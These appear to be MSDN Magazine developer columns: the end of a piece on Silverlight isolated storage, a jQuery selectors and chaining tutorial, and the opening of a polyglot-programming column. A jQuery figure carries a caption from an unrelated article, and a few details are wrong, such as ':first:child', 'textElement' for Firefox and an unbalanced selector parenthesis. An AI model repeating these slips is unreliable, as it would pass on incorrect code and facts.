The best practice is to wrap all calls to isolated storage inside try/catch blocks to guard against IsolatedStorageExceptions. I've wrapped this first code sample inside a try/catch block to illustrate this, but to keep things simple, the rest of the code samples will not show the try/catch block. Please consider all remaining code samples as being implicitly wrapped in a try/catch block. (For a rundown of best practices, see the sidebar "Silverlight Isolated Storage Best Practices.")
Now that you've seen the application store, let's look at the site store. The site store is a shared store to which all Silverlight applications from the same site have access. This enables applications from the same site to share data between them.
The same way Microsoft Office 2007 has common preferences across its suite of applications, you could imagine developing a suite of Silverlight applications that are all hosted on the same site and share a common set of preferences stored on the client. The site store is based on the identity of the user and the identity of the site. The site identity of a Silverlight application is similar to the application identity, but it only includes the scheme, host, and port of the URL, without the path to the XAP file. Like the application identity, the site identity is also case insensitive. The shared site store is new in Silverlight and is not available in the .NET Framework.
IsolatedStorageFile.GetUserStoreForSite can be used to get an instance of the site store. The following code shows this in action:
using (var store = IsolatedStorageFile.GetUserStoreForSite())
using (var stream = store.CreateFile("sharedhello.txt"))
using (var writer = new StreamWriter(stream)) {
    writer.Write ("Hello Shared World");
}
Another application with the same site identity could read the shared file with the following code:
using (var store = IsolatedStorageFile.GetUserStoreForSite()) {
    if (store.FileExists("sharedhello.txt")) {
        using (var stream = store.OpenFile("sharedhello.txt", FileMode.Open))
        using (var reader = new StreamReader(stream)) {
            string contents = reader.ReadToEnd(); // "Hello Shared World"
        }
    }
}
To better understand how a given URL to a Silverlight application maps to an application identity and site identity, refer to Figure 2. As you can see, even though the first four URLs are different, they all map to the same application identity and site identity. This is due to the fact that identities are case insensitive, query strings are not included, and port 80 is the default port for the HTTP scheme. However, if another port is specified, such as 8080, then the identity of the application is considered different. If the leading "www" from the host is omitted, the application identity is considered different because the host is different.
Figure 2 Silverlight Application URL and Associated Application and Site Identities
Application URL | Application Identity | Site Identity
http://www.microsoft.com/app.xap | HTTP://WWW.MICROSOFT.COM/APP.XAP | HTTP://WWW.MICROSOFT.COM
http://www.MICROSOFT.COM/app.XAP | HTTP://WWW.MICROSOFT.COM/APP.XAP | HTTP://WWW.MICROSOFT.COM
http://www.microsoft.com/app.xap?foo=bar | HTTP://WWW.MICROSOFT.COM/APP.XAP | HTTP://WWW.MICROSOFT.COM
http://www.microsoft.com:80/app.xap | HTTP://WWW.MICROSOFT.COM/APP.XAP | HTTP://WWW.MICROSOFT.COM
http://www.microsoft.com:8080/app.xap | HTTP://WWW.MICROSOFT.COM:8080/APP.XAP | HTTP://WWW.MICROSOFT.COM:8080
http://microsoft.com/app.xap | HTTP://MICROSOFT.COM/APP.XAP | HTTP://MICROSOFT.COM
https://www.microsoft.com/app.xap | HTTPS://WWW.MICROSOFT.COM/APP.XAP | HTTPS://WWW.MICROSOFT.COM
http://www.microsoft.com/demo.xap | HTTP://WWW.MICROSOFT.COM/DEMO.XAP | HTTP://WWW.MICROSOFT.COM
The secure HTTPS URL will also yield a different identity because the scheme is different (HTTPS instead of HTTP). The last URL listed in Figure 2 will have a different application identity than the first four URLs in the table, but it will have the same site identity, which means these two apps could choose to share data with each other on the client by storing data in their shared site store.

Figure 3 Isolated Storage Quota Groups
Quota
A quota is a limit on the amount of isolated storage space that can be used by an application. This includes the data stored in isolated storage as well as some additional overhead for each directory and new file created (1KB each).
Unlike the .NET Framework, Silverlight uses a concept called quota groups for managing quotas in isolated storage. A quota group is a group of isolated stores that share the same quota. In Silverlight, stores are grouped by site, so all applications that have the same site identity share the same isolated storage quota. For example, all applications hosted on microsoft.com share the same quota.
Isolated storage can have zero or more quota groups. Figure 3 shows two hypothetical quota groups: one for microsoft.com and another for blogs.microsoft.com. Each quota group has at most one shared site store and zero or more application stores.
By default, each quota group is assigned a default quota of 1MB. This should be enough space for applications to store simple settings and text files in isolated storage. However, since the quota is shared across all applications from the same site, the quota can easily be reached if just one of the applications uses a lot of space. If a site hosts several Silverlight applications and each application stores data in isolated storage, the amount of free space can diminish quickly. In addition, if an application needs to save a lot of data on the client, 1MB of free space won't always be enough.
To address this, if an application needs more space in isolated storage, it can request a larger quota. When an application requests a larger quota, Silverlight prompts the end user to allow or deny the request. The following code shows how to request a larger quota:
using (var store = IsolatedStorageFile.GetUserStoreForApplication()) {
    // 5 MB of isolated storage space is needed
    int spaceNeeded = 1024 * 1024 * 5;

    if (store.AvailableFreeSpace < spaceNeeded) {
        if (store.IncreaseQuotaTo(store.Quota + spaceNeeded)) {
            // The user accepted the request
        }
    }
}
In this code, the AvailableFreeSpace property is used to determine how much free space is available in isolated storage. The code knows it needs 5MB of free space. And if 5MB is not available, it requests a larger quota by calling IncreaseQuotaTo passing it the requested quota size in bytes (in this case the current quota plus the additional space that's needed).
The call to IncreaseQuota must be made from a user-initiated event, such as within a handler for a button-click event. If it is not called from a user-initiated event, Silverlight will not prompt the user and the request will be denied (the method will return false). If called from a user-initiated event and the end user allows the request, IncreaseQuotaTo returns true and the quota for the group is increased to the requested size.
Because quotas are per site in Silverlight, you may want to host your Silverlight application differently depending upon the needs of your site and application. For example, imagine you're creating a Silverlight video player that saves the user's top 10 favorite videos in isolated storage. Each video can be up to 10MB, which means the application will need to increase the quota to something more than 100MB. You could host the application on your main site (for example, contoso.com/player.xap), which may work fine if player.xap were the only Silverlight application hosted on the site. But if there are many other Silverlight applications on contoso.com, they'll all be competing for space in isolated storage.
To solve this, you may want to consider hosting the video player application on its own sub domain (such as player.contoso.com/player.xap). Similarly, if you plan to create a suite of Silverlight applications that need to share data, you'll want to host all of them on the same site and make sure they work well together.
Silverlight uses quota groups to make it easier for end users to manage the use of isolated storage on their computers. Instead of being presented with a laundry list of URLs to different Silverlight XAP files, end users are presented with a list of Web sites that are using isolated storage. This way, end users can quickly decide which Web sites they trust and which Web sites they do not trust to store data on their machines.
To end users, isolated storage is known as Application Storage. An end user can manage isolated storage using the Silverlight Configuration dialog. To open the dialog, right-click on any Silverlight application that's running in a Web browser and click Silverlight Configuration in the menu that pops up. Then click on the Application Storage tab in the Silverlight Configuration dialog. This tab lists the Web sites that are currently using isolated storage along with the current used size and quota for each. This list is essentially the list of quota groups. From here, end users can delete groups or enable and disable isolated storage.

Files and Directories
Creating directories and files in isolated storage is easy. Take a look at Figure 4. Here you'll see CreateDirectory, which is used to create directories. You can create top-level directories as well as subdirectories. To get a listing of the directories in a store, use GetDirectoryNames.
Figure 4 Creating Directories and Files
using (var store = IsolatedStorageFile.GetUserStoreForApplication()) {
    store.CreateDirectory(@"dir1");
    store.CreateDirectory(@"dir1\subdir1");
    store.CreateDirectory(@"dir1\subdir2");
    store.CreateDirectory(@"dir2");

    string[] topLevelDirs = store.GetDirectoryNames(); // { "dir1", "dir2" }
    string[] dir1SubDirs = store.GetDirectoryNames(@"dir1\*");
    // { "subdir1", "subdir2" }

    store.CreateFile(@"toplevel.txt");
    store.CreateFile(@"dir1\subdir1\subfile.txt");

    string[] files = store.GetFileNames(); // { "toplevel.txt" }
    string[] subfiles = store.GetFileNames(@"dir1\subdir1\*");
    // { "subfile.txt" }
}
There is also an overload of GetDirectoryNames that accepts a searchPattern string that supports single-character ("?") and multi-character ("*") wild cards. Notice how a multi-character ("*") wild card is used to get the directories contained inside "dir1". Creating files is similar to creating directories: files can be created in the root of the store or inside directories.
When creating files and directories in isolated storage, keep in mind that the relative isolated storage paths are expanded to full system paths internally (Silverlight applications never see these full paths). The full paths are limited to 260 characters on both Windows and Mac. So although your relative path inside isolated storage may only be 10 characters, those 10 characters will translate into a much longer path when appended to the root system path to where isolated storage is located on the file system. If the resulting system path ends up being more than 260 characters, an exception is thrown.
The location of isolated storage depends on the current user and operating system. Back in Figure 1 you saw where isolated storage is located on Windows Vista, Windows XP, and Mac OS X.
The Microsoft\Silverlight\is directory contains the internal isolated storage structure. This is where information on quota groups, stores, bookkeeping data, and so on is stored, along with the actual data, by Silverlight. The specifics of the files and directories inside this directory are not important (these are implementation details that we reserve the right to change in future releases), but it's important to note that the directory structure does add additional overhead to the length of the full path.
For example, say a Silverlight application has created a file named foo.txt in the root of its application store. On Windows Vista, the full obfuscated system path to the file will look something like this:
C:\Users\<user>\AppData\LocalLow\Microsoft\Silverlight\is\plnvdo2y.zmg\
01ftptzg.h3o\1\s\4onbrsocvqffhjl0kn0sfxcidggvvqzoyl1to4ulrpif1vkwyaaahaa\f\foo.txt
On Windows XP it will look something like this:
C:\Documents and Settings\<user>\Local Settings\Application
Data\Microsoft\Silverlight\is\plnvdo2y.zmg\01ftptzg.h3o\1\s\
4onbrsodcvqffhjl0kn0sfxcidggvvqzoylto4ulrpif1vkwyaaahaa\f\foo.txt
And on Mac OS X it will look something like this:
/Users/<user>/Library/Application
Support/Microsoft/Silverlight/is/plnvdo2y.zmg/01ftptzg.h3o/1/s/
4onbrsodcvqffhjl0kn0sfxcidggvvqzyl1to4ulrpif1vkwyaaahaa/f/foo.txt
Assuming <user> is 10 characters, the full path length to foo.txt is 158 characters on Windows Vista, 190 characters on Windows XP, and 167 characters on Mac OS X. Thinking about it more generally, isolated storage paths are limited to 109 characters on Windows Vista, 77 characters on Windows XP, and 100 characters on Mac OS X assuming the current user's user name is 10 characters in length.
To be safe, the best practice is to keep isolated storage paths as small as possible to prevent the full path from reaching the 260-character limit.
One interesting thing to note about the locations listed in Figure 1 is the fact that isolated storage is not part of the browser's temporary Internet files. This means that isolated storage is shared across all supported browsers, and when you (or your users, to be precise) clear out the temporary Internet files, the contents of isolated storage are not deleted.
This behavior is by design, because applications can store user-created data (such as documents and photos) in isolated storage along with other preferences and settings that a user might not want to be deleted along with the temporary Internet files. To delete the contents of isolated storage, use the Silverlight Configuration dialog as described previously.
One other thing to note is that although the location of isolated storage is obfuscated and stores are isolated from each other, the data stored in isolated storage is not protected (that is, it is not encrypted). This means that other (non-Silverlight) applications running on the machine may be able to access the data. If you need to store sensitive data in isolated storage, encrypt the data before storing it (there are encryption APIs available in Silverlight; see System.Security.Cryptography on the MSDN library.)

IsolatedStorageSettings
Silverlight includes a new convenience class called IsolatedStorageSettings that can be used to store objects in isolated storage quickly and easily. IsolatedStorageSettings is a dictionary collection that supports saving key-value pairs in either the application store or site store. It automatically takes care of serializing the objects and saving them in isolated storage. The serialized objects are saved to a file in isolated storage called __LocalSettings.
The code in Figure 5 shows how to use IsolatedStorageSettings to save a simple object in the application store. Here I define a simple class called MySettings with three properties: Width, Height, and Color. Then I create an instance of MySettings and populate it with some values. Next, I add it to IsolatedStorageSettings.ApplicationSettings under the settings key.
Finally I call Save, which serializes the object and saves the serialized data to the application store. Retrieving the object happens to be just as easy:
MySettings settings;
if (!IsolatedStorageSettings.ApplicationSettings.TryGetValue("settings",
    out settings)) {
    // Settings was not previously stored in isolated storage
    // create a new object initialized with default values
    settings = new MySettings {
        Width = 100,
        Height = 100,
        Color = Colors.Orange
    };
}
This code uses the TryGetValue method to avoid an exception if the key is not found (meaning the data had not been previously saved). The code in Figure 5 saves the object to the application store. To save objects to the site store, use IsolatedStorageSettings.SiteSettings instead of IsolatedStorageSettings.ApplicationSettings.
Figure 5 Saving an Object to the Application Store
public class MySettings {
    public int Width { get; set; }
    public int Height { get; set; }
    public Color Color { get; set; }
}
var settings = new MySettings {
    Width = 200,
    Height = 300,
    Color = Colors.Blue
};

IsolatedStorageSettings.ApplicationSettings["settings"] = settings;
IsolatedStorageSettings.ApplicationSettings.Save();
If you only need to store simple objects or settings in isolated storage, using IsolatedStorageSettings makes a lot of sense. But if you need more granular control over the format of data stored in isolated storage or if you are storing large amounts of data, you'll likely want to use the file and stream-based isolated storage APIs.
For more on isolated storage in Silverlight, see Cutting Edge in February 2009.

Send your questions and comments to clrinout@microsoft.com.

Justin Van Patten is a Program Manager on the CLR team at Microsoft where he works on the Base Class Libraries. He can be reached via the BCL team blog at blogs.msdn.com/bclteam.


Cutting Edge
Explore Rich Client Scripting With jQuery, Part 1
Dino Esposito
Contents
The jQuery Object
Selectors
Filters
Form Filters
Operations on Wrapped Sets
jQuery Chainability
Know Your HTML
You know how it is. The more functionality you want to squeeze out of the Web browser, the more you have to write in JavaScript. Introduced around 1995 to add more action to HTML pages, the JavaScript language was not expressly designed for developers. It was actually designed to manipulate HTML elements, set styles, and react to user input. It has also been widely used for client-side input validation and other lightweight operations.
Seeing the somewhat trivial uses JavaScript has been applied to might lead you to believe that it is simple to write. But as Ray Djajadinata pointed out in "Create Advanced Web Applications with Object-Oriented Techniques" in the May 2007 issue of MSDN Magazine, writing good JavaScript code is not trivial but if you understand it well, you can indeed squeeze some rather advanced functionality out of it.
One of the drawbacks of JavaScript, though, is that it's an interpreted (not compiled) language and thus is subject to the browser's, well, interpretation. Not all browsers process the same JavaScript code in the same way. But libraries like jQuery can make your JavaScript code more predictable across browsers.
Microsoft now fully supports jQuery and distributes it with the ASP.NET Model-View Controller (MVC) framework. Furthermore, extensions have been developed to fully integrate jQuery IntelliSense in Visual Studio 2008 SP1.
In this month's installment, I'll discuss the main characteristics of the jQuery library and focus in particular on CSS selectors, function chaining, and wrapped sets. In a future installment, I'll look at more specific topics such as using jQuery to handle events and effects, browser-side caching and AJAX requests.
jQuery at a Glance
jQuery makes JavaScript code easier and quicker to write. The library provides helper functions that dramatically increase your productivity while decreasing your frustration. The resulting code is easier to read and more robust because the higher level of abstraction hides a number of checks and error handling procedures.
The library, written by John Resig, consists of a single .js file you can download from docs.jquery.com/Downloading_jQuery. The latest version is 1.2.6 which was released in the Spring of 2008. The download site﻿ offers three versions of the library: uncompressed, packed and minimized.
The uncompressed version is close to 100KB and is fully human readable and commented. This version is definitely the one to pick up for perusal and debugging.
The minimized version is about 50KB. All extra characters that are not strictly required to implement the functionality have been removed from the source code. The code is impractical if not impossible to read for humans, but it works just fine for computers.
Finally, the packed version is barely 30KB in size, but it requires more initialization time on the client. The jQuery official site recommends you consider getting the minimized version instead of the packed version for production environments. In addition, you should consider that GZip compression over the wire is standard practice and is handled by all modern Web servers and browsers. GZip compression brings the size down to about 20 KB. If you use GZip, the packed version is pretty much useless.
In an ASP.NET project, you also need a jquery-1.2.6-vsdoc.js in order to enable IntelliSense and a Visual Studio 2008 patch (see "KB958502-JScript Editor support for '-vsdoc.js' IntelliSense documentation files") in order to fully support jQuery IntelliSense.
In ASP.NET, you can either use a plain <script> tag to link the library or you can list it in the Scripts section of the ScriptManager control, like so:
<asp:ScriptManager id="ScriptManager1" runat="server">
    <Scripts>
        <asp:ScriptReference path="Scripts/jquery-1.2.6.min.js" />
    </Scripts>
</asp:ScriptManager>
Note that this approach is not recommended with the current version of ASP.NET unless you also want the Microsoft AJAX library embedded in the page. In ASP.NET 4.0, it will be possible to disable the inclusion of the Microsoft AJAX client framework files, thus making this approach a good one.
The whole set of jQuery functionality can be divided into four main areas: DOM query and manipulation, effects and animation, AJAX, and core functions for working with arrays, filtering data, and detecting browser capabilities.

The jQuery Object
The word "query" in the library's name says it all. It refers to running queries over the DOM of the page, which is where jQuery gets its power.
The library supplies a powerful interface for selecting DOM elements that goes far beyond the simple search for elements that match a given ID. For example, you can easily select all elements that share a given CSS class, have certain attributes, appear in a given position in the tree, or have a relationship to other elements. More importantly, you can add filter conditions and you can chain all these query features together, much like you can query data in SQL.
The root of the jQuery library is the jQuery function, defined as follows:
var jQuery = window.jQuery = window.$ = function( selector, context )
{
   return new jQuery.fn.init( selector, context );
};
The $ function is an alias for the jQuery function. When you create a jQuery object, you pass a selector and a context. The selector indicates the query expression; the context indicates the portion of the DOM on which to run the query. If no context is specified, the jQuery function looks for DOM elements within the entire page DOM.
The jQuery function (as well as its $ alias) performs some work on the provided arguments, runs the query, and then returns a new jQuery object that contains the results. The newly created jQuery object can, in turn, be further queried, or filtered, in a new statement as well as in a chain of statements.
The root jQuery object supports the following signatures:
jQuery( expression, [context] )
jQuery( html, [ownerDocument] )
jQuery( elements )
jQuery( callback )
The first takes a CSS selector and returns a wrapped array of HTML elements, the so-called wrapped set. The second accepts an HTML string, creates the related subtree, and appends it to the specified owner documents, if any. The third overload picks up the specified DOM element or elements. Finally, the fourth just takes a callback function and runs it on the entire document, as soon as the page's document is fully loaded.
In addition, the root jQuery object also features a few helper methods, as listed in Figure 1. Of particular interest to developers is the each method, which you can use as a shorthand for a manual iteration over the content of a jQuery object—typically the DOM elements selected via a CSS selector. Here's a code snippet that shows the each method in action. The loop processes all <input> tags in a form:
$("form input").each(
    function(i) {
            this.title = "Input #" + i;
}
);
Figure 1 Edge Server roles and reverse proxy for OCS 2007
Methods | Description
each( callback ) | Loops over the content of the wrapped set and executes the specified callback function.
length | Property that returns the number of elements in the wrapped set.
eq( position ) | Reduces the wrapped set to the single element at the specified position.
get() | Returns the content of the wrapped set as an array of DOM elements.
get( index ) | Returns the DOM elements at the specified position in the wrapped set.
index( element ) | Returns the 0-based index in the wrapped set of the specified DOM element, if any.
The difference between each﻿ () and a manual JavaScript loop is that each() automatically maps the "this" object to the element in the collection being processed. The callback function, however, receives an optional integer parameter that is the (0-based) index of the iteration. Let's learn more about jQuery selectors and their CSS-based syntax.

Here's the simplest use of the $ function:
var elem = $("#grid");
The $ function in the code snippet retrieves all DOM element(s) whose ID property matches the specified expression. The # symbol doesn't belong to the ID string, but is just a prefix for the $ function to disambiguate ID strings, CSS classes and HTML tag names. (The # symbol is part of standard CSS syntax for ID selection.) The preceding code snippet is functionally equivalent to the following DOM statement:
var elem = document.getElementById("grid");
It is worth noting that in the HTML DOM, unlike in ASP.NET, multiple elements can share the same ID. If an array of elements match the ID, then method getElementById would only return the first matching element; getElementsByName, on the other hand, would return the whole collection.
The similarity between classic DOM methods and the $ function ends there; the power of $ goes far beyond. Through $, you select DOM elements and then apply a function to each.
The selector expression is driven by the CSS 3.0 syntax and can reach a nontrivial level of complexity. Figure 2 shows the supported selectors. The list doesn't include filters, which I'll talk about in a moment. It is key to note that in a hierarchy of selectors, the ancestor, the parent, or the previous element can be any valid selector, not just an HTML element. Figure 3 shows a few sample queries.
Figure 2 Supported jQuery Selectors
Selector | Description
#id | Returns the first element, if any, in the DOM with a matching ID attribute.
element | Returns all elements with a matching tag name.
.class | Returns all elements with a matching CSS class.
* | Returns all elements in the page.
selector1, ..., selectorN | Applies all given basic selectors and returns the combined results.
ancestor descendant | Given an ancestor selector, returns the collection of all descendant elements that match the descendant selector. For example, "div p" returns all <p> elements within a <div>.
parent > child | Given a selector, returns the collection of all child elements that match the child selector.
prev + next | Given a selector, returns the collection of all sibling elements that match the next selector and are located next to the prev selector.
prev ~ sibling | Given a selector, returns the collection of all sibling elements that match the sibling selector and follows the prev selector.
Figure 3 Sample jQuery Selectors in Action
Sample Selector | Effect
form input | Returns all input fields within any <form> tags in the page.
#Form1 input | Returns all input fields within the form labeled Form1.
h2 + p | Returns all <p> tags that are next to a <h2> while child of the same parent.
input.textBox | Returns all <input> tags whose CSS class is "textBox."
div span.myClass | Returns all <span> tags whose CSS class is "myClass" located within a <div>.

Selectors can be further refined by applying filters on attributes, content, position, and visibility. Figure 4 lists some of the most popular filters in jQuery. The full reference is at docs.jquery.com/Selectors.
Filters such as first and last find DOM elements at a given position in the returned collection. You can also use an index-based syntax to filter elements by using the eq, gt, and lt filters. The filter eq picks up the element whose index matches the given index, whereas gt and lt pick up elements greater than, or less than, a given index.
Attribute filters are powerful tools that select HTML elements where a given attribute is in a given relationship with a value. In Figure 4, I only listed the most commonly used attribute filters. Other filters exist to select elements where a given attribute begins with, ends with, or contains a given value. Here's the required syntax:
[attribute^=value]  // begins with value
[attribute$=value]  // ends with value
[attribute*=value]  // contains value
Figure 4 jQuery Filters
Positional Filters | Description
:first | Returns the first element of the selected collection of elements.
:last | Returns the last element of the selected collection of elements.
:not(selector) | Filters out all elements matching the specified selector.
:even | Returns all even elements in the selected collection.
:odd | Returns all odd elements in the selected collection.
Child filters | Description
:nth-child(expr) | Returns all child elements of any parent that match the given expression. The expression can be an index or a math sequence (for example, 3n+1), including standard sequences such as odd and even.
:first:child | Returns all elements that are the first child of their parent.
:last-child | Returns all elements that are the last child of their parent.
:only-child | Returns all elements that are the only child of their parent.
Content filters | Description
:contains(text) | Returns all elements which contain the specified text.
:empty | Returns all elements with no children. (Text is considered a child node.)
:has(selector) | Returns all elements that contain at least one element that matches the given selector.
:parent | Returns all elements that have at least one child. (Text is considered a child node.)
Visibility filters | Description
:hidden | Returns all elements that are currently hidden from view. Input elements of type "hidden" are added to the list.
:visible | Returns all elements that are currently visible.
Attribute filters | Description
[attribute] | Returns all elements that have the specified attribute.
[attribute = value] | Returns all elements that have the specified attribute set to the specified value.
[attribute != value] | Returns all elements whose specified attribute (if present) has a value different from the given one.
Attribute filters can also be chained by simply placing two or more of them side by side, like so:
[align=right][valign=top]
A particularly powerful filter is nth-child. It supports a number of different input expressions, as shown here:
:nth-child(index)
:nth-child(even)
:nth-child(odd)
:nth-child(sequence)
The first format selects the nth child of the HTML elements in the source selector where n refers to the provided index. All elements placed at any odd or even position (0-based) are returned if you specify the odd or even filter. Finally, you can pass nth-child as the root expression of a mathematical sequence such as 3n to indicate multiples of 3.
As an example, the following selector picks up all rows in a table (labeled DataGrid1) that are on the positions determined by the sequence 3n+1, (1, 4, 7 and so forth, remembering that it is a zero-based index):
#DataGrid1 tr:nth-child(3n+1)
The next one is a much more complex expression, and it demonstrates the incredible power and flexibility of jQuery selectors:
#DataGrid1 tr:nth-child(3n+1):has(td[align=right]) td:odd
It reads as follows: of all the table rows selected at the previous step (position 1, 4, 7, and so on), now you only take those which have a cell (a <td> tag) where the attribute align equals the value of "right." Furthermore, of the remaining rows, you only take the cells on columns with an odd index. Let's consider the HTML table in Figure 5. In Figure 6, the cell with a yellow background is the result of the query.
Figure 5 An HTML Table
<table id="DataGrid1" border="1">
    <tr>
       <td>Column1</td>
       <td>Column2</td></tr>
    <tr>
       <td>Val1</td>
       <td align="right">Num1</td></tr>
    <tr>
       <td>Val2</td>
       <td align="right">Num2</td></tr>
    <tr>
       <td>Val3</td>
       <td align="right">Num3</td></tr>
    <tr>
       <td>Val4</td>
       <td>Num4</td></tr>
    <tr>
       <td>Val5</td>
       <td>Num5</td></tr>
    <tr>
       <td>Val6</td>
       <td>Num6</td></tr>
    <tr>
       <td>Val7</td>
       <td>Num7</td></tr>
</table>
Figure 6 Selecting a Certain Cell on a Table

Form Filters
As mentioned, the overall syntax of jQuery selectors is close to the syntax of CSS 3.0 selectors, just extended with some extra pseudo elements such as those listed in Figure 7.
The :input filter, in particular, refers to all logical input elements you may find on a page and is not limited to the <input> tags. In fact, it includes <textarea> elements and <select> elements used to display listboxes and dropdown lists. Selectors in Figure 7 do not match CSS selectors, but provide handy shortcuts to pick up homogeneous elements such as all input tags of a given type. As an example, the selector :text is functionally equivalent to the following:
form input[type=text]
Figure 7 Form Filters
Selector | Description
:input | Returns all elements that have a role in collecting input data, including textarea and drop-down lists.
:text | Returns all input elements whose type attribute is text.
:password | Returns all input elements whose type attribute is password.
:checkbox | Returns all input elements whose type attribute is checkbox.
:radio | Returns all input elements whose type attribute is radio.
:submit | Returns all input elements whose type attribute is submit.
:reset | Returns all input elements whose type attribute is reset.
:image | Returns all input elements whose type attribute is image.
:button | Returns all input elements whose type attribute is button.
:file | Returns all input elements whose type attribute is file.
:hidden | Returns all input elements whose type attribute is hidden.
:enabled | Returns all input elements that are currently enabled.
:disabled | Returns all input elements that are currently disabled.
:checked | Returns all checkbox or radio elements that are currently checked.
:selected | Returns all list elements that are currently selected.
Other nice helpers are available to grab all input elements in a page that are enabled or disabled and all checkboxes and radio buttons checked as well as list items currently selected.

Operations on Wrapped Sets
HTML elements that match a selector are returned packed in a new instance of the jQuery object. This object incorporates a JavaScript array with all DOM references. The results are often referred to as a wrapped set. A wrapped set is never null, even if no matching elements have been found. You check this situation by looking at the length property of the jQuery object, as shown here:﻿
// All TDs with a child IMG
var w_set = new jQuery("#DataGrid1 td:has(img))");
if (w_set.length == 0)
    alert("No match found.");
else
    alert(w_set.length)
The high level of flexibility shown by jQuery is a great feature to have, but then once you have all the elements you were looking for, you need to process them. The simplest possible approach entails setting up a loop and running a function over each item in the collection, like this:
var ws = $("#DataGrid1 tr:nth-child(3n+1)");
for(i = 0; i<ws.length; i++)
{
   processElement(ws[i]);
}
function processElement(elem)
{
   ...
}
In such a manual iteration, you access DOM elements directly, just as in classic JavaScript programming.
The jQuery library offers a couple of alternate routes that are functionally equivalent to manual iteration. Nicely enough, jQuery iterations result in more compact and even more readable code. The first approach is based on the each function.
As mentioned, in jQuery the each function executes a user-defined callback on any element associated with the wrapped set. A fairly large number of operational methods, however, exist to make it even quicker and easier for you to execute common operations on the wrapped set. For example, you can use the css function to apply CSS styles to the wrapped set. Following is an example that sets background color and border style of all input elements in a form:
$("form input").css(
   {'background-color' : 'yellow',
    'border-style' : 'dashed'}
);
Admittedly, this short example is a bit misleading as it may suggest that jQuery should be used for things that CSS itself does well. The css function is great when it works on dynamically applied styles that depend on user interaction or some other run time condition.
Likewise, you can add, remove and even toggle a CSS class on the elements in the wrapped set. You do this via the addClass, removeClass, and toggleClass functions. The attr function allows you set one or multiple attributes on all elements. For example, here's how to disable all input elements:
$("form input").attr(
   {'disabled' : 'disabled'}
);
The html function sets the HTML content of a tag. It uses the innerHTML property internally. To set the inner text of a tag, instead, you use the text function passing the text to set as the argument. This is a good way to understand the benefits of a cross-browser library like jQuery. The property innerHTML can be considered a de-facto standard property supported by all browsers in the same way.
The same can't be said for the analogous property that only sets the text. This property is innerText in Internet Explorer and textElement in Firefox. The jQuery text function hides differences and provides the same functionality across all browsers.

jQuery Chainability
One of the best features of jQuery is its chainability, which is possible because the jQuery object itself, as well as most of the functions and filters, return a jQuery object. The returned object contains the original wrapped set as modified by the function itself. For example, if you apply the css function to a wrapped set, the returned jQuery object contains the same set of elements along with a modified set of CSS styles. If you apply a filter, you'll get back a smaller set as filtered by the function. It is worth noting that you also have available a not function to exclude all elements that match the specified query.
Concatenating jQuery functions couldn't be easier. All you need to do is attach a new function call to the jQuery object returned by the previous call. Here's an example:
$("form input")
.not("[type!=text]")
.css(
   {'background-color' : 'yellow',
    'border-style' : 'dashed'})
.attr("value", "test");
Here the sample expression selects all input fields where the type attribute equals text and sets a few CSS styles and the value attribute to fixed values. (Note that in the example, I used the not function just to add a third link to the chain. The result of the not condition could be integrated into the $ query resulting in even clearer code.)
It goes without saying that method of chaining produces more compact code; but it doesn't necessarily result in faster code. Chaining is a technique that you, as a developer, may or may not feel comfortable with. If you experience troubles with one of these compact expressions, you might want to break it into pieces to simplify debugging.
Finally, note that not all jQuery methods return a modified jQuery object. Methods like html or text, for instance, just return a string that respectively points to the HTML or text content of the first element of the source wrapped set. For the exact syntax of jQuery methods see docs.jquery.com/Main_Page.

Know Your HTML
The more you explore the depths of jQuery, the more you understand the importance of knowing in detail the HTML you're working with. ASP.NET server controls tend to hide the structure of the HTML they output. On the other hand, server controls were just introduced to let developers focus on declarative attributes rather than HTML details. Years of experience proved this was not always the right approach.
Today, you do need to keep your HTML under total control for accessibility, styling, and conformance to XHTML. Incidentally, this fact establishes a subtle link between jQuery and the ASP.NET MVC framework. And it is no coincidence that the ASP.NET MVC framework includes the latest version of jQuery in the package.
That said, it is also worth noting that tying logic to markup using jQuery selectors might create an unwanted coupling between logic and the shape of the DOM, which may result in difficult-to-maintain applications.
Finally, if you're looking for more ideas for using JavaScript in interesting ways, check out the list of JavaScript articles at on MSDN.
Send your questions and comments for Dino to cutting@microsoft.com.

Dino Esposito is an architect at IDesign and the co-author of Microsoft .NET: Architecting Applications for the Enterprise (Microsoft Press, 2008). Based in Italy, Dino is a frequent speaker at industry events worldwide. You can join his blog at weblogs.asp.net/despos.


The Polyglot Programmer
Mixing And Matching Languages
Ted Neward
Contents
Polyglot Programming
Polyglot in Practice
The Cost behind the Choices
Long before the Web and client-server programming, it was common for an entire application to be written in a single language on top of a single platform or system. Consider, for example, the ubiquitous FoxPro platform, a staple of application programming for years. It provided a user interface format language and library, a data access and storage format, plus a collection of routines to provide the traditional library support, such as math and accounting. Both a language and a platform wrapped into a single environment, FoxPro was a classic example of how a programmer could learn one language/platform and remain successful and, more importantly, gainfully employed.
Then came specialization—new languages and tools, each with a particular and specific purpose. Relational databases became the norm, and SQL became the language used to access them and modify them. GUI client development initially shifted to procedural languages like C and Pascal, then, with the advent of object-orientation came C++ and Delphi. Languages such as Perl and Python became powerful tools for administering a console-based operating system, most commonly UNIX-based systems, extending the capabilities found in command shells such as the Bash and Korn shells. Then came the Web, and with it HTML, CSS, and JavaScript became the languages of choice for user interface display.
The programming language world has never seen a quiet moment, but in recent years, a large number of languages has exploded onto the programming scene, including procedural languages such as Ruby, Windows PowerShell and Python, and functional languages such as F# and Scala. Existing languages are getting new features, such as the data querying facilities Microsoft has added to C# with LINQ and now a new phase of programming language development has begun in which new custom languages, known as domain-specific languages (DSLs), are being developed for particular tasks or applications. For an example of a DSL, see the Service Station column from the 2008 Visual Studio Launch edition of MSDN Magazine (msdn.microsoft.com/magazine/cc164250).
Everywhere you turn, new languages are popping up. While multilingual programmers certainly predate it, the term "polyglot programming" originated with Neal Ford's December 2006 blog post (memeagora.blogspot.com/2006/12/polyglot-programming.html), titled (not surprisingly) "Polyglot Programming."

Polyglot Programming
OK, so we've established that there are a lot of languages out there, and there is likely one language especially suited to each problem you need to address. The savvy .NET developer needs to understand how they all fit together. That will be the focus of this column.
Consider one of the most common problems today. Developers are being asked to scale their programs—their Web sites and services, in particular—to greater and greater numbers of users than ever before. Customers are being given access to their own account information directly. This means that where an application might have had to scale to a couple of hundred users (say, to increase the number of call center employee users during a growth spurt), now the same application must scale to potentially thousands, if not millions of users.
